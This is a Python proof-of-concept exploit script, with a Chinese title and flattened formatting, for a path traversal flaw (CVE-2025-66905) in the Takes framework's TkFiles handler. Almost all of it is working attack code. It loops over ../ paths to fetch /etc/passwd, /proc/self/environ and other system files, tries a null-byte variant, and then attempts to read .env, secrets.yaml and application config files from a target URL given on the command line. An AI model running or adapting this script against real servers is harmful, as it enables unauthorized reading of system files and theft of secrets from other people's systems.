CVE-2025-66905 Takes框架TkFiles目录遍历漏洞

# CVE-2025-66905 Path Traversal PoC for Takes Framework TkFiles # The vulnerability allows reading arbitrary files by using ../ sequences import requests import sys def exploit_tkfiles(target_url, base_dir="files"): """ Exploit CVE-2025-66905: TkFiles Path Traversal Args: target_url: Base URL of the vulnerable Takes application base_dir: The configured base directory (default: 'files') This PoC demonstrates how to escape the base directory using '../' sequences. """ # Files to attempt reading sensitive_files = [ "../../../../etc/passwd", "../../../../etc/hosts", "../../../../etc/group", "../../../../proc/self/environ", "../../../../proc/self/cmdline", "../../../../../../../../../etc/passwd", "../../../../../etc/passwd%00.txt", # Null byte injection attempt ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-66905 - TkFiles Path Traversal\n") for file_path in sensitive_files: url = f"{target_url}/{base_dir}/{file_path}" print(f"[+] Trying: {url}") try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[SUCCESS] Retrieved: {file_path}") print(f"Content preview:\n{response.text[:500]}...") print("-" * 60) elif response.status_code == 403: print(f"[BLOCKED] Access denied for: {file_path}") else: print(f"[FAILED] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") # Example: Reading application configuration print("\n[*] Attempting to read application configs...") config_paths = [ "../../../../app/config/application.conf", "../../../../app/secrets.yaml", "../../../../.env", ] for config in config_paths: url = f"{target_url}/{base_dir}/{config}" print(f"[+] Trying config: {config}") try: response = requests.get(url, timeout=10) if response.status_code == 200 and len(response.text) > 0: print(f"[SUCCESS] Found config file!") print(f"Content:\n{response.text}") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66905.py <target_url>") print("Example: python cve-2025-66905.py http://vulnerable-server.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_tkfiles(target)